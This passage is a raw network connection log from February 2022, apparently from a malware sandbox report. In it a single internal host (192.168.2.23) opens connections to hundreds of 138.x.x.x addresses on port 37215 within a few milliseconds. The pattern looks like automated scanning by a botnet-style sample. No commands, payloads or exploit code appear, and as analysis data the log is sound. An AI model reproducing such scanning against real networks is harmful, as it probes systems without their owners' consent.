Feb 20, 2022 15:50:58.721560955 CET	1898	37215	192.168.2.23	138.62.114.179
Feb 20, 2022 15:50:58.721577883 CET	1386	37215	192.168.2.23	138.231.194.172
Feb 20, 2022 15:50:58.721585989 CET	1898	37215	192.168.2.23	138.57.174.239
Feb 20, 2022 15:50:58.721596003 CET	1386	37215	192.168.2.23	138.237.71.206
Feb 20, 2022 15:50:58.721604109 CET	1898	37215	192.168.2.23	138.250.226.2
Feb 20, 2022 15:50:58.721618891 CET	1386	37215	192.168.2.23	138.82.111.101
Feb 20, 2022 15:50:58.721630096 CET	1898	37215	192.168.2.23	138.55.199.19
Feb 20, 2022 15:50:58.721646070 CET	1386	37215	192.168.2.23	138.47.202.246
Feb 20, 2022 15:50:58.721659899 CET	1898	37215	192.168.2.23	138.115.193.31
Feb 20, 2022 15:50:58.721683025 CET	1386	37215	192.168.2.23	138.94.9.71
Feb 20, 2022 15:50:58.721690893 CET	1386	37215	192.168.2.23	138.47.0.81
Feb 20, 2022 15:50:58.721702099 CET	1898	37215	192.168.2.23	138.72.209.68
Feb 20, 2022 15:50:58.721705914 CET	1386	37215	192.168.2.23	138.45.72.71
Feb 20, 2022 15:50:58.721729994 CET	1386	37215	192.168.2.23	138.218.201.81
Feb 20, 2022 15:50:58.721757889 CET	1386	37215	192.168.2.23	138.158.101.202
Feb 20, 2022 15:50:58.721762896 CET	1898	37215	192.168.2.23	138.224.106.221
Feb 20, 2022 15:50:58.721769094 CET	1898	37215	192.168.2.23	138.210.144.97
Feb 20, 2022 15:50:58.721779108 CET	1386	37215	192.168.2.23	138.249.167.225
Feb 20, 2022 15:50:58.721781969 CET	1898	37215	192.168.2.23	138.230.252.186
Feb 20, 2022 15:50:58.721798897 CET	1386	37215	192.168.2.23	138.84.18.223
Feb 20, 2022 15:50:58.721801043 CET	1898	37215	192.168.2.23	138.205.10.155
Feb 20, 2022 15:50:58.721821070 CET	1386	37215	192.168.2.23	138.45.93.219
Feb 20, 2022 15:50:58.721844912 CET	1386	37215	192.168.2.23	138.149.53.145
Feb 20, 2022 15:50:58.721873045 CET	1898	37215	192.168.2.23	138.144.127.114
Feb 20, 2022 15:50:58.721879959 CET	1386	37215	192.168.2.23	138.43.228.196
Feb 20, 2022 15:50:58.721893072 CET	1898	37215	192.168.2.23	138.64.151.226
Feb 20, 2022 15:50:58.721895933 CET	1898	37215	192.168.2.23	138.77.170.46
Feb 20, 2022 15:50:58.721899033 CET	1386	37215	192.168.2.23	138.145.199.89
Feb 20, 2022 15:50:58.721908092 CET	1386	37215	192.168.2.23	138.2.253.99
Feb 20, 2022 15:50:58.721919060 CET	1898	37215	192.168.2.23	138.126.228.180
Feb 20, 2022 15:50:58.721940041 CET	1386	37215	192.168.2.23	138.87.192.76
Feb 20, 2022 15:50:58.721965075 CET	1898	37215	192.168.2.23	138.143.179.138
Feb 20, 2022 15:50:58.721966028 CET	1386	37215	192.168.2.23	138.81.143.110
Feb 20, 2022 15:50:58.721970081 CET	1898	37215	192.168.2.23	138.239.76.161
Feb 20, 2022 15:50:58.721985102 CET	1898	37215	192.168.2.23	138.175.226.62
Feb 20, 2022 15:50:58.721985102 CET	1386	37215	192.168.2.23	138.57.139.118
Feb 20, 2022 15:50:58.722016096 CET	1898	37215	192.168.2.23	138.255.35.149
Feb 20, 2022 15:50:58.722017050 CET	1386	37215	192.168.2.23	138.226.76.244
Feb 20, 2022 15:50:58.722033024 CET	1386	37215	192.168.2.23	138.153.135.54
Feb 20, 2022 15:50:58.722048044 CET	1898	37215	192.168.2.23	138.156.38.208
Feb 20, 2022 15:50:58.722064018 CET	1386	37215	192.168.2.23	138.70.8.191
Feb 20, 2022 15:50:58.722074986 CET	1898	37215	192.168.2.23	138.52.32.36
Feb 20, 2022 15:50:58.722098112 CET	1386	37215	192.168.2.23	138.132.96.196
Feb 20, 2022 15:50:58.722098112 CET	1898	37215	192.168.2.23	138.16.37.143
Feb 20, 2022 15:50:58.722100973 CET	1386	37215	192.168.2.23	138.254.218.45
Feb 20, 2022 15:50:58.722134113 CET	1898	37215	192.168.2.23	138.114.190.139
Feb 20, 2022 15:50:58.722132921 CET	1386	37215	192.168.2.23	138.204.1.63
Feb 20, 2022 15:50:58.722138882 CET	1386	37215	192.168.2.23	138.91.176.208
Feb 20, 2022 15:50:58.722150087 CET	1898	37215	192.168.2.23	138.105.85.70
Feb 20, 2022 15:50:58.722157955 CET	1386	37215	192.168.2.23	138.104.173.27
Feb 20, 2022 15:50:58.722182035 CET	1898	37215	192.168.2.23	138.248.55.98
Feb 20, 2022 15:50:58.722182035 CET	1386	37215	192.168.2.23	138.118.204.96
Feb 20, 2022 15:50:58.722202063 CET	1386	37215	192.168.2.23	138.112.44.238
Feb 20, 2022 15:50:58.722214937 CET	1898	37215	192.168.2.23	138.192.206.209
Feb 20, 2022 15:50:58.722230911 CET	1386	37215	192.168.2.23	138.232.125.106
Feb 20, 2022 15:50:58.722249031 CET	1898	37215	192.168.2.23	138.197.43.28
Feb 20, 2022 15:50:58.722258091 CET	1386	37215	192.168.2.23	138.179.201.225
Feb 20, 2022 15:50:58.722275972 CET	1386	37215	192.168.2.23	138.66.55.22
Feb 20, 2022 15:50:58.722292900 CET	1898	37215	192.168.2.23	138.180.106.118
Feb 20, 2022 15:50:58.722299099 CET	1386	37215	192.168.2.23	138.126.218.187
Feb 20, 2022 15:50:58.722304106 CET	1898	37215	192.168.2.23	138.203.179.222
Feb 20, 2022 15:50:58.722317934 CET	1386	37215	192.168.2.23	138.212.221.196
Feb 20, 2022 15:50:58.722328901 CET	1898	37215	192.168.2.23	138.4.210.61
Feb 20, 2022 15:50:58.722347975 CET	1386	37215	192.168.2.23	138.103.161.150
Feb 20, 2022 15:50:58.722366095 CET	1898	37215	192.168.2.23	138.214.181.68
Feb 20, 2022 15:50:58.722371101 CET	1386	37215	192.168.2.23	138.152.31.100
Feb 20, 2022 15:50:58.722388029 CET	1898	37215	192.168.2.23	138.56.95.61
Feb 20, 2022 15:50:58.722393990 CET	1386	37215	192.168.2.23	138.241.250.47
Feb 20, 2022 15:50:58.722414970 CET	1386	37215	192.168.2.23	138.204.122.155
Feb 20, 2022 15:50:58.722455978 CET	1386	37215	192.168.2.23	138.101.159.149
Feb 20, 2022 15:50:58.722462893 CET	1898	37215	192.168.2.23	138.65.130.113
Feb 20, 2022 15:50:58.722469091 CET	1386	37215	192.168.2.23	138.183.133.63
Feb 20, 2022 15:50:58.722476959 CET	1386	37215	192.168.2.23	138.38.225.36
Feb 20, 2022 15:50:58.722486019 CET	1898	37215	192.168.2.23	138.235.21.239
Feb 20, 2022 15:50:58.722503901 CET	1898	37215	192.168.2.23	138.211.175.24
Feb 20, 2022 15:50:58.722503901 CET	1386	37215	192.168.2.23	138.111.171.209
Feb 20, 2022 15:50:58.722518921 CET	1898	37215	192.168.2.23	138.173.91.193
Feb 20, 2022 15:50:58.722528934 CET	1386	37215	192.168.2.23	138.216.73.176
Feb 20, 2022 15:50:58.722537994 CET	1386	37215	192.168.2.23	138.174.28.11
Feb 20, 2022 15:50:58.722554922 CET	1898	37215	192.168.2.23	138.97.140.34
Feb 20, 2022 15:50:58.722564936 CET	1386	37215	192.168.2.23	138.6.14.211
Feb 20, 2022 15:50:58.722580910 CET	1386	37215	192.168.2.23	138.140.114.164
Feb 20, 2022 15:50:58.722589016 CET	1898	37215	192.168.2.23	138.34.48.60
Feb 20, 2022 15:50:58.722610950 CET	1386	37215	192.168.2.23	138.157.34.213
Feb 20, 2022 15:50:58.722613096 CET	1898	37215	192.168.2.23	138.38.197.50
Feb 20, 2022 15:50:58.722629070 CET	1898	37215	192.168.2.23	138.3.95.124
Feb 20, 2022 15:50:58.722647905 CET	1386	37215	192.168.2.23	138.41.199.22
Feb 20, 2022 15:50:58.722655058 CET	1898	37215	192.168.2.23	138.90.108.59
Feb 20, 2022 15:50:58.722672939 CET	1898	37215	192.168.2.23	138.232.52.65
Feb 20, 2022 15:50:58.722680092 CET	1386	37215	192.168.2.23	138.76.242.114
Feb 20, 2022 15:50:58.722681046 CET	1386	37215	192.168.2.23	138.154.230.107
Feb 20, 2022 15:50:58.722700119 CET	1386	37215	192.168.2.23	138.44.116.206
Feb 20, 2022 15:50:58.722716093 CET	1898	37215	192.168.2.23	138.228.14.22
Feb 20, 2022 15:50:58.722722054 CET	1386	37215	192.168.2.23	138.79.82.231
Feb 20, 2022 15:50:58.722737074 CET	1898	37215	192.168.2.23	138.85.246.164
Feb 20, 2022 15:50:58.722738981 CET	1386	37215	192.168.2.23	138.143.92.208
Feb 20, 2022 15:50:58.722764969 CET	1898	37215	192.168.2.23	138.60.152.246
Feb 20, 2022 15:50:58.722768068 CET	1386	37215	192.168.2.23	138.182.45.134
Feb 20, 2022 15:50:58.722790956 CET	1898	37215	192.168.2.23	138.147.157.164
Feb 20, 2022 15:50:58.722793102 CET	1386	37215	192.168.2.23	138.205.222.49
Feb 20, 2022 15:50:58.722805023 CET	1898	37215	192.168.2.23	138.24.13.146
Feb 20, 2022 15:50:58.722826004 CET	1386	37215	192.168.2.23	138.112.238.22
Feb 20, 2022 15:50:58.722830057 CET	1386	37215	192.168.2.23	138.31.86.148
Feb 20, 2022 15:50:58.722836018 CET	1898	37215	192.168.2.23	138.201.251.211
Feb 20, 2022 15:50:58.722853899 CET	1386	37215	192.168.2.23	138.189.224.110
Feb 20, 2022 15:50:58.722862959 CET	1898	37215	192.168.2.23	138.215.253.173
Feb 20, 2022 15:50:58.722873926 CET	1386	37215	192.168.2.23	138.88.82.45
Feb 20, 2022 15:50:58.722891092 CET	1386	37215	192.168.2.23	138.1.107.102
Feb 20, 2022 15:50:58.722903013 CET	1898	37215	192.168.2.23	138.59.59.175
Feb 20, 2022 15:50:58.722919941 CET	1898	37215	192.168.2.23	138.33.55.238
Feb 20, 2022 15:50:58.722927094 CET	1386	37215	192.168.2.23	138.73.38.124
Feb 20, 2022 15:50:58.722939014 CET	1386	37215	192.168.2.23	138.222.211.3
Feb 20, 2022 15:50:58.722949982 CET	1898	37215	192.168.2.23	138.97.67.45
Feb 20, 2022 15:50:58.722963095 CET	1386	37215	192.168.2.23	138.95.62.230
Feb 20, 2022 15:50:58.722978115 CET	1898	37215	192.168.2.23	138.92.201.81
Feb 20, 2022 15:50:58.722992897 CET	1386	37215	192.168.2.23	138.192.155.48
Feb 20, 2022 15:50:58.723006010 CET	1386	37215	192.168.2.23	138.54.166.82
Feb 20, 2022 15:50:58.723009109 CET	1898	37215	192.168.2.23	138.132.158.152
Feb 20, 2022 15:50:58.723045111 CET	1386	37215	192.168.2.23	138.194.177.25
Feb 20, 2022 15:50:58.723046064 CET	1898	37215	192.168.2.23	138.169.214.138
Feb 20, 2022 15:50:58.723072052 CET	1386	37215	192.168.2.23	138.159.111.159
Feb 20, 2022 15:50:58.723076105 CET	1386	37215	192.168.2.23	138.76.247.203
Feb 20, 2022 15:50:58.723078966 CET	1898	37215	192.168.2.23	138.181.8.248
Feb 20, 2022 15:50:58.723103046 CET	1386	37215	192.168.2.23	138.73.245.30
Feb 20, 2022 15:50:58.723119974 CET	1898	37215	192.168.2.23	138.84.169.33
Feb 20, 2022 15:50:58.723129034 CET	1386	37215	192.168.2.23	138.167.229.18
Feb 20, 2022 15:50:58.723141909 CET	1898	37215	192.168.2.23	138.117.196.51
Feb 20, 2022 15:50:58.723150969 CET	1898	37215	192.168.2.23	138.203.9.118
Feb 20, 2022 15:50:58.723160982 CET	1386	37215	192.168.2.23	138.10.107.64
Feb 20, 2022 15:50:58.723161936 CET	1898	37215	192.168.2.23	138.241.214.103
Feb 20, 2022 15:50:58.723166943 CET	1386	37215	192.168.2.23	138.250.115.16
Feb 20, 2022 15:50:58.723203897 CET	1386	37215	192.168.2.23	138.98.87.242
Feb 20, 2022 15:50:58.723205090 CET	1898	37215	192.168.2.23	138.141.61.12
Feb 20, 2022 15:50:58.723217010 CET	1898	37215	192.168.2.23	138.112.192.85
Feb 20, 2022 15:50:58.723220110 CET	1386	37215	192.168.2.23	138.140.227.235
Feb 20, 2022 15:50:58.723248959 CET	1386	37215	192.168.2.23	138.192.163.226
Feb 20, 2022 15:50:58.723251104 CET	1898	37215	192.168.2.23	138.53.91.187
Feb 20, 2022 15:50:58.723274946 CET	1386	37215	192.168.2.23	138.55.73.49
Feb 20, 2022 15:50:58.723277092 CET	1898	37215	192.168.2.23	138.46.138.16
Feb 20, 2022 15:50:58.723294973 CET	1386	37215	192.168.2.23	138.51.255.19
Feb 20, 2022 15:50:58.723297119 CET	1898	37215	192.168.2.23	138.109.174.97
Feb 20, 2022 15:50:58.723315954 CET	1386	37215	192.168.2.23	138.129.38.114
Feb 20, 2022 15:50:58.723323107 CET	1898	37215	192.168.2.23	138.188.218.176
Feb 20, 2022 15:50:58.723335981 CET	1386	37215	192.168.2.23	138.194.207.91
Feb 20, 2022 15:50:58.723341942 CET	1898	37215	192.168.2.23	138.74.85.64
Feb 20, 2022 15:50:58.723360062 CET	1386	37215	192.168.2.23	138.131.11.71
Feb 20, 2022 15:50:58.723368883 CET	1898	37215	192.168.2.23	138.97.97.218
Feb 20, 2022 15:50:58.723377943 CET	1386	37215	192.168.2.23	138.160.22.247
Feb 20, 2022 15:50:58.723406076 CET	1898	37215	192.168.2.23	138.218.139.73
Feb 20, 2022 15:50:58.723408937 CET	1386	37215	192.168.2.23	138.95.64.218
Feb 20, 2022 15:50:58.723434925 CET	1898	37215	192.168.2.23	138.88.7.199
Feb 20, 2022 15:50:58.723437071 CET	1386	37215	192.168.2.23	138.114.179.45
Feb 20, 2022 15:50:58.723439932 CET	1898	37215	192.168.2.23	138.27.161.89
Feb 20, 2022 15:50:58.723454952 CET	1386	37215	192.168.2.23	138.228.97.97
Feb 20, 2022 15:50:58.723455906 CET	1898	37215	192.168.2.23	138.109.93.116
Feb 20, 2022 15:50:58.723483086 CET	1386	37215	192.168.2.23	138.22.8.171
Feb 20, 2022 15:50:58.723491907 CET	1898	37215	192.168.2.23	138.128.2.10
Feb 20, 2022 15:50:58.723495007 CET	1898	37215	192.168.2.23	138.221.162.15
Feb 20, 2022 15:50:58.723515034 CET	1898	37215	192.168.2.23	138.208.246.22
Feb 20, 2022 15:50:58.723516941 CET	1386	37215	192.168.2.23	138.227.116.124
Feb 20, 2022 15:50:58.723540068 CET	1386	37215	192.168.2.23	138.189.235.121
Feb 20, 2022 15:50:58.723550081 CET	1898	37215	192.168.2.23	138.147.32.73
Feb 20, 2022 15:50:58.723552942 CET	1898	37215	192.168.2.23	138.170.135.205
Feb 20, 2022 15:50:58.723562002 CET	1386	37215	192.168.2.23	138.116.42.119
Feb 20, 2022 15:50:58.723577023 CET	1386	37215	192.168.2.23	138.68.109.62
Feb 20, 2022 15:50:58.723582983 CET	1898	37215	192.168.2.23	138.117.129.143
Feb 20, 2022 15:50:58.723602057 CET	1386	37215	192.168.2.23	138.0.174.107
Feb 20, 2022 15:50:58.723613977 CET	1898	37215	192.168.2.23	138.139.29.173
Feb 20, 2022 15:50:58.723623037 CET	1386	37215	192.168.2.23	138.203.127.101
Feb 20, 2022 15:50:58.723634005 CET	1898	37215	192.168.2.23	138.137.227.90
Feb 20, 2022 15:50:58.723645926 CET	1386	37215	192.168.2.23	138.164.190.21
Feb 20, 2022 15:50:58.723676920 CET	1898	37215	192.168.2.23	138.142.78.163
Feb 20, 2022 15:50:58.723680019 CET	1386	37215	192.168.2.23	138.158.192.158
Feb 20, 2022 15:50:58.723695040 CET	1386	37215	192.168.2.23	138.235.189.59
Feb 20, 2022 15:50:58.723716974 CET	1386	37215	192.168.2.23	138.244.158.87
Feb 20, 2022 15:50:58.723721981 CET	1898	37215	192.168.2.23	138.128.176.97
Feb 20, 2022 15:50:58.723742008 CET	1386	37215	192.168.2.23	138.120.191.99
Feb 20, 2022 15:50:58.723752022 CET	1898	37215	192.168.2.23	138.242.197.50
Feb 20, 2022 15:50:58.723759890 CET	1898	37215	192.168.2.23	138.35.116.61
Feb 20, 2022 15:50:58.723783016 CET	1386	37215	192.168.2.23	138.10.206.202
Feb 20, 2022 15:50:58.723788977 CET	1386	37215	192.168.2.23	138.48.227.141
Feb 20, 2022 15:50:58.723789930 CET	1898	37215	192.168.2.23	138.109.230.133
Feb 20, 2022 15:50:58.723809958 CET	1386	37215	192.168.2.23	138.208.188.173
Feb 20, 2022 15:50:58.723820925 CET	1898	37215	192.168.2.23	138.88.163.228
Feb 20, 2022 15:50:58.723838091 CET	1386	37215	192.168.2.23	138.144.210.37
Feb 20, 2022 15:50:58.723845959 CET	1898	37215	192.168.2.23	138.30.212.132
Feb 20, 2022 15:50:58.723862886 CET	1386	37215	192.168.2.23	138.86.171.10
Feb 20, 2022 15:50:58.723879099 CET	1898	37215	192.168.2.23	138.242.187.147
Feb 20, 2022 15:50:58.723886013 CET	1386	37215	192.168.2.23	138.67.174.184
Feb 20, 2022 15:50:58.723901033 CET	1898	37215	192.168.2.23	138.139.219.229
Feb 20, 2022 15:50:58.723922014 CET	1386	37215	192.168.2.23	138.93.27.252
Feb 20, 2022 15:50:58.723925114 CET	1898	37215	192.168.2.23	138.113.230.255
Feb 20, 2022 15:50:58.723931074 CET	1386	37215	192.168.2.23	138.150.202.97
Feb 20, 2022 15:50:58.723944902 CET	1898	37215	192.168.2.23	138.67.82.240
Feb 20, 2022 15:50:58.723953962 CET	1386	37215	192.168.2.23	138.11.129.204
Feb 20, 2022 15:50:58.723975897 CET	1386	37215	192.168.2.23	138.89.204.217
Feb 20, 2022 15:50:58.723992109 CET	1386	37215	192.168.2.23	138.7.212.133
Feb 20, 2022 15:50:58.724005938 CET	1898	37215	192.168.2.23	138.46.165.82
Feb 20, 2022 15:50:58.724019051 CET	1898	37215	192.168.2.23	138.152.187.138
Feb 20, 2022 15:50:58.724020958 CET	1386	37215	192.168.2.23	138.24.71.14
Feb 20, 2022 15:50:58.724035978 CET	1898	37215	192.168.2.23	138.139.166.162
Feb 20, 2022 15:50:58.724037886 CET	1386	37215	192.168.2.23	138.185.97.2
Feb 20, 2022 15:50:58.724064112 CET	1386	37215	192.168.2.23	138.10.128.101
Feb 20, 2022 15:50:58.724081039 CET	1898	37215	192.168.2.23	138.69.86.136
Feb 20, 2022 15:50:58.724083900 CET	1386	37215	192.168.2.23	138.226.28.34
Feb 20, 2022 15:50:58.724101067 CET	1898	37215	192.168.2.23	138.33.234.176
Feb 20, 2022 15:50:58.724107981 CET	1386	37215	192.168.2.23	138.135.60.153
Feb 20, 2022 15:50:58.724128008 CET	1898	37215	192.168.2.23	138.213.34.167
Feb 20, 2022 15:50:58.724131107 CET	1386	37215	192.168.2.23	138.194.13.151
Feb 20, 2022 15:50:58.724148035 CET	1898	37215	192.168.2.23	138.132.213.110
Feb 20, 2022 15:50:58.724155903 CET	1386	37215	192.168.2.23	138.73.223.69
Feb 20, 2022 15:50:58.724175930 CET	1386	37215	192.168.2.23	138.178.185.226
Feb 20, 2022 15:50:58.724196911 CET	1898	37215	192.168.2.23	138.104.103.136
Feb 20, 2022 15:50:58.724200964 CET	1386	37215	192.168.2.23	138.192.149.97
Feb 20, 2022 15:50:58.724214077 CET	1898	37215	192.168.2.23	138.251.77.124
Feb 20, 2022 15:50:58.724214077 CET	1386	37215	192.168.2.23	138.68.11.177
Feb 20, 2022 15:50:58.724231005 CET	1898	37215	192.168.2.23	138.200.132.218
Feb 20, 2022 15:50:58.724234104 CET	1386	37215	192.168.2.23	138.85.54.110
Feb 20, 2022 15:50:58.724236012 CET	1898	37215	192.168.2.23	138.32.140.171
Feb 20, 2022 15:50:58.724262953 CET	1898	37215	192.168.2.23	138.190.148.153
Feb 20, 2022 15:50:58.724276066 CET	1386	37215	192.168.2.23	138.108.160.126
Feb 20, 2022 15:50:58.724287033 CET	1386	37215	192.168.2.23	138.43.104.64
Feb 20, 2022 15:50:58.724298000 CET	1898	37215	192.168.2.23	138.81.242.159
Feb 20, 2022 15:50:58.724314928 CET	1386	37215	192.168.2.23	138.167.89.163
Feb 20, 2022 15:50:58.724317074 CET	1898	37215	192.168.2.23	138.179.117.146
Feb 20, 2022 15:50:58.724323988 CET	1386	37215	192.168.2.23	138.161.41.84
Feb 20, 2022 15:50:58.724335909 CET	1898	37215	192.168.2.23	138.241.248.85
Feb 20, 2022 15:50:58.724347115 CET	1386	37215	192.168.2.23	138.221.106.200
Feb 20, 2022 15:50:58.724371910 CET	1386	37215	192.168.2.23	138.76.77.118
Feb 20, 2022 15:50:58.724387884 CET	1898	37215	192.168.2.23	138.203.161.185
Feb 20, 2022 15:50:58.724395990 CET	1386	37215	192.168.2.23	138.111.129.66
Feb 20, 2022 15:50:58.724404097 CET	1898	37215	192.168.2.23	138.185.32.46
Feb 20, 2022 15:50:58.724415064 CET	1386	37215	192.168.2.23	138.209.78.158
Feb 20, 2022 15:50:58.724428892 CET	1898	37215	192.168.2.23	138.169.236.151
Feb 20, 2022 15:50:58.724458933 CET	1386	37215	192.168.2.23	138.54.34.65
Feb 20, 2022 15:50:58.724476099 CET	1898	37215	192.168.2.23	138.41.251.11
Feb 20, 2022 15:50:58.724478006 CET	1386	37215	192.168.2.23	138.193.76.254
Feb 20, 2022 15:50:58.724490881 CET	1386	37215	192.168.2.23	138.153.155.157
Feb 20, 2022 15:50:58.724504948 CET	1898	37215	192.168.2.23	138.6.69.210
Feb 20, 2022 15:50:58.724514008 CET	1898	37215	192.168.2.23	138.213.218.231
Feb 20, 2022 15:50:58.724517107 CET	1386	37215	192.168.2.23	138.24.250.38
Feb 20, 2022 15:50:58.724530935 CET	1898	37215	192.168.2.23	138.140.195.161
Feb 20, 2022 15:50:58.724534035 CET	1386	37215	192.168.2.23	138.59.49.68
Feb 20, 2022 15:50:58.724555016 CET	1386	37215	192.168.2.23	138.159.33.4
Feb 20, 2022 15:50:58.724555969 CET	1898	37215	192.168.2.23	138.83.152.84
Feb 20, 2022 15:50:58.724571943 CET	1898	37215	192.168.2.23	138.43.21.230
Feb 20, 2022 15:50:58.724574089 CET	1386	37215	192.168.2.23	138.208.53.254
Feb 20, 2022 15:50:58.724595070 CET	1898	37215	192.168.2.23	138.231.161.210
Feb 20, 2022 15:50:58.724606991 CET	1898	37215	192.168.2.23	138.166.20.170
Feb 20, 2022 15:50:58.724608898 CET	1386	37215	192.168.2.23	138.217.76.73
Feb 20, 2022 15:50:58.724625111 CET	1386	37215	192.168.2.23	138.127.161.137
Feb 20, 2022 15:50:58.724642038 CET	1898	37215	192.168.2.23	138.24.184.148
Feb 20, 2022 15:50:58.724643946 CET	1386	37215	192.168.2.23	138.210.199.57
Feb 20, 2022 15:50:58.724663973 CET	1898	37215	192.168.2.23	138.243.114.205
Feb 20, 2022 15:50:58.724666119 CET	1386	37215	192.168.2.23	138.77.110.110
Feb 20, 2022 15:50:58.724688053 CET	1386	37215	192.168.2.23	138.253.72.9
Feb 20, 2022 15:50:58.724709988 CET	1386	37215	192.168.2.23	138.151.215.71
Feb 20, 2022 15:50:58.724714994 CET	1898	37215	192.168.2.23	138.146.89.86
Feb 20, 2022 15:50:58.724726915 CET	1386	37215	192.168.2.23	138.200.228.254
Feb 20, 2022 15:50:58.724737883 CET	1898	37215	192.168.2.23	138.174.54.54
Feb 20, 2022 15:50:58.724756002 CET	1386	37215	192.168.2.23	138.14.113.11
Feb 20, 2022 15:50:58.724759102 CET	1898	37215	192.168.2.23	138.103.32.120
Feb 20, 2022 15:50:58.724776983 CET	1898	37215	192.168.2.23	138.75.9.157
Feb 20, 2022 15:50:58.724777937 CET	1386	37215	192.168.2.23	138.8.124.55
Feb 20, 2022 15:50:58.724803925 CET	1386	37215	192.168.2.23	138.52.192.82
Feb 20, 2022 15:50:58.724824905 CET	1898	37215	192.168.2.23	138.109.158.17
Feb 20, 2022 15:50:58.724836111 CET	1386	37215	192.168.2.23	138.240.206.116
Feb 20, 2022 15:50:58.724847078 CET	1386	37215	192.168.2.23	138.206.54.207
Feb 20, 2022 15:50:58.724848032 CET	1898	37215	192.168.2.23	138.59.68.118
Feb 20, 2022 15:50:58.724862099 CET	1386	37215	192.168.2.23	138.77.208.123
Feb 20, 2022 15:50:58.724869013 CET	1898	37215	192.168.2.23	138.116.220.163
Feb 20, 2022 15:50:58.724883080 CET	1386	37215	192.168.2.23	138.150.151.150
Feb 20, 2022 15:50:58.724889040 CET	1898	37215	192.168.2.23	138.65.22.60
Feb 20, 2022 15:50:58.724895954 CET	1898	37215	192.168.2.23	138.143.129.246
Feb 20, 2022 15:50:58.724909067 CET	1386	37215	192.168.2.23	138.193.251.214
Feb 20, 2022 15:50:58.724927902 CET	1898	37215	192.168.2.23	138.230.10.199
Feb 20, 2022 15:50:58.724932909 CET	1386	37215	192.168.2.23	138.28.168.64
Feb 20, 2022 15:50:58.724946022 CET	1898	37215	192.168.2.23	138.152.147.221
Feb 20, 2022 15:50:58.724951982 CET	1386	37215	192.168.2.23	138.205.218.156
Feb 20, 2022 15:50:58.724967957 CET	1898	37215	192.168.2.23	138.206.139.93
Feb 20, 2022 15:50:58.724977970 CET	1386	37215	192.168.2.23	138.190.182.231
Feb 20, 2022 15:50:58.724987984 CET	1898	37215	192.168.2.23	138.232.122.132
Feb 20, 2022 15:50:58.725012064 CET	1386	37215	192.168.2.23	138.39.83.82
Feb 20, 2022 15:50:58.725022078 CET	1898	37215	192.168.2.23	138.142.188.105
Feb 20, 2022 15:50:58.725023985 CET	1386	37215	192.168.2.23	138.82.30.56
Feb 20, 2022 15:50:58.725039005 CET	1898	37215	192.168.2.23	138.107.160.187
Feb 20, 2022 15:50:58.725055933 CET	1386	37215	192.168.2.23	138.161.110.216
Feb 20, 2022 15:50:58.725064993 CET	1898	37215	192.168.2.23	138.99.94.76
Feb 20, 2022 15:50:58.725068092 CET	1386	37215	192.168.2.23	138.21.10.7
Feb 20, 2022 15:50:58.725085020 CET	1386	37215	192.168.2.23	138.198.18.226
Feb 20, 2022 15:50:58.725105047 CET	1898	37215	192.168.2.23	138.48.213.71
Feb 20, 2022 15:50:58.725112915 CET	1386	37215	192.168.2.23	138.19.214.37
Feb 20, 2022 15:50:58.725130081 CET	1898	37215	192.168.2.23	138.133.134.212
Feb 20, 2022 15:50:58.725153923 CET	1386	37215	192.168.2.23	138.158.156.236
Feb 20, 2022 15:50:58.725155115 CET	1386	37215	192.168.2.23	138.151.217.28
Feb 20, 2022 15:50:58.725159883 CET	1898	37215	192.168.2.23	138.220.30.91
Feb 20, 2022 15:50:58.725172043 CET	1898	37215	192.168.2.23	138.38.17.52
Feb 20, 2022 15:50:58.725197077 CET	1386	37215	192.168.2.23	138.106.178.220
Feb 20, 2022 15:50:58.725199938 CET	1386	37215	192.168.2.23	138.54.7.178
Feb 20, 2022 15:50:58.725215912 CET	1386	37215	192.168.2.23	138.229.76.174
Feb 20, 2022 15:50:58.725241899 CET	1386	37215	192.168.2.23	138.83.52.200
Feb 20, 2022 15:50:58.725271940 CET	1386	37215	192.168.2.23	138.97.88.239
Feb 20, 2022 15:50:58.725287914 CET	1386	37215	192.168.2.23	138.17.129.183
Feb 20, 2022 15:50:58.725306034 CET	1386	37215	192.168.2.23	138.250.160.49
Feb 20, 2022 15:50:58.725326061 CET	1386	37215	192.168.2.23	138.28.92.75
Feb 20, 2022 15:50:58.725348949 CET	1386	37215	192.168.2.23	138.48.251.189
Feb 20, 2022 15:50:58.725393057 CET	1386	37215	192.168.2.23	138.148.174.129
Feb 20, 2022 15:50:58.725394011 CET	1386	37215	192.168.2.23	138.202.246.184
Feb 20, 2022 15:50:58.725414038 CET	1386	37215	192.168.2.23	138.29.188.187
Feb 20, 2022 15:50:58.725436926 CET	1386	37215	192.168.2.23	138.247.193.6
Feb 20, 2022 15:50:58.725456953 CET	1386	37215	192.168.2.23	138.163.55.92
Feb 20, 2022 15:50:58.725476027 CET	1386	37215	192.168.2.23	138.81.130.67
Feb 20, 2022 15:50:58.725502014 CET	1386	37215	192.168.2.23	138.190.163.76
Feb 20, 2022 15:50:58.725526094 CET	1386	37215	192.168.2.23	138.29.35.251
Feb 20, 2022 15:50:58.725543976 CET	1386	37215	192.168.2.23	138.210.240.86
Feb 20, 2022 15:50:58.725577116 CET	1386	37215	192.168.2.23	138.106.16.253
Feb 20, 2022 15:50:58.725590944 CET	1386	37215	192.168.2.23	138.255.254.185
Feb 20, 2022 15:50:58.725613117 CET	1386	37215	192.168.2.23	138.115.221.8
Feb 20, 2022 15:50:58.725655079 CET	1386	37215	192.168.2.23	138.120.7.125
Feb 20, 2022 15:50:58.725673914 CET	1386	37215	192.168.2.23	138.199.83.207
Feb 20, 2022 15:50:58.725693941 CET	1386	37215	192.168.2.23	138.37.110.214
Feb 20, 2022 15:50:58.725718021 CET	1386	37215	192.168.2.23	138.124.133.47
Feb 20, 2022 15:50:58.725739002 CET	1386	37215	192.168.2.23	138.9.100.99
Feb 20, 2022 15:50:58.725794077 CET	1386	37215	192.168.2.23	138.58.130.197
Feb 20, 2022 15:50:58.725811005 CET	1386	37215	192.168.2.23	138.213.210.116
Feb 20, 2022 15:50:58.725836992 CET	1386	37215	192.168.2.23	138.160.53.124
Feb 20, 2022 15:50:58.725866079 CET	1386	37215	192.168.2.23	138.17.191.79
Feb 20, 2022 15:50:58.725878954 CET	1386	37215	192.168.2.23	138.85.119.152
Feb 20, 2022 15:50:58.725905895 CET	1386	37215	192.168.2.23	138.5.27.132
Feb 20, 2022 15:50:58.725919008 CET	1386	37215	192.168.2.23	138.27.46.121
Feb 20, 2022 15:50:58.725944996 CET	1386	37215	192.168.2.23	138.137.155.243
Feb 20, 2022 15:50:58.725995064 CET	1386	37215	192.168.2.23	138.190.225.31
Feb 20, 2022 15:50:58.726016045 CET	1386	37215	192.168.2.23	138.59.180.53
